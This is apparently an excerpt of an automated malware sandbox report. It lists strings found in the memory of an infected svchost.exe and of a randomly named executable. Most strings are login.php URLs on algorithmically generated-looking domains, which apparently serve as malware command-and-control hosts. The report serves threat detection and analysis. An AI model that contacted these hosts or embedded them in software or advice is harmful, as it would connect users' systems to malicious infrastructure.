Source: svchost.exe, 00000002.00000003.2637865779.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofygaf.com/login.php
Source: svchost.exe, 00000002.00000003.2360864557.0000000003331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360803451.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofykyt.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332264267.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofymem.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2184899677.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2207439218.00000000008E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197653218.0000000009298000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202867008.0000000009299000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://vofymik.com/login.php
Source: svchost.exe, 00000002.00000003.2667584330.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofypam.com/http://pujycyp.com/http://volydyk.com/http://pujycyp.com/http://qetyrul.com/http:
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofypam.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofypuf.com/login.php
Source: svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363891080.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2809409371.00000000040ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2814428917.00000000040FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofyqek.com/login.php
Source: svchost.exe, 00000002.00000003.2667584330.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofyzof.com/http://vofypam.com/http://vofypam.com/http://pumymap.com/http://qetyrul.com/http:
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofyzof.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3418889094.000000000335E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3278908147.000000000335C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3428117276.00000000092CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofyzyc.com/login.php
Source: svchost.exe, 00000002.00000003.2498726255.000000000085D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310938686.00000000092CF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2309738735.00000000092BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofyzym.com/
Source: svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2322419492.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2527939785.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2523187509.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2512099666.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2314873415.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2322755404.00000000092B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vofyzym.com/login.php
Source: svchost.exe, 00000002.00000003.2289346650.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2287542216.0000000003330000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2292259372.0000000003332000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496966130.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2289345179.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2297411828.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojybek.com/login.php
Source: svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649747897.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojybim.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojycec.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3413784840.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3428117276.00000000092CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojycit.com/login.php
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojyduf.com/0
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojyduf.com/P
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojyduf.com/h
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojyduf.com/login.php
Source: svchost.exe, 00000002.00000003.2344956997.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2345061243.0000000003356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341852646.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344054756.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojygok.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojygym.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377025491.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojymuk.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojypat.com/login.php
Source: svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojypuc.com/login.php
Source: svchost.exe, 00000002.00000003.2344956997.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330643505.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332264267.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344054756.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojyquf.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361214474.0000000003356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746888339.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2829874698.000000000084D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vojyzik.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388806823.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://volybak.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2512566471.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2530302930.00000000092C9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://volydot.com/login.php
Source: svchost.exe, 00000002.00000003.2667584330.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2694181112.00000000040F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://volydyk.com/H
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2653309169.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://volydyk.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://volygoc.com/
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347178577.0000000003322000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349507832.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349422845.000000000332C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347613705.0000000003325000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://volygoc.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376002854.000000000923B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://volyjif.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344112591.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635305989.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://volyjym.com/login.php
Source: svchost.exe, 00000002.00000003.2178059519.000000000923A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197653218.0000000009298000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202867008.0000000009299000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.0000000000802000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.000000000154E000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.0000000001363000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2676238100.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2875818807.00000000091FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://volykyc.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2639286842.000000000086C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://volymaf.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://volypof.com/login.php
Source: svchost.exe, 00000002.00000003.2853017937.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://volyqam.com/
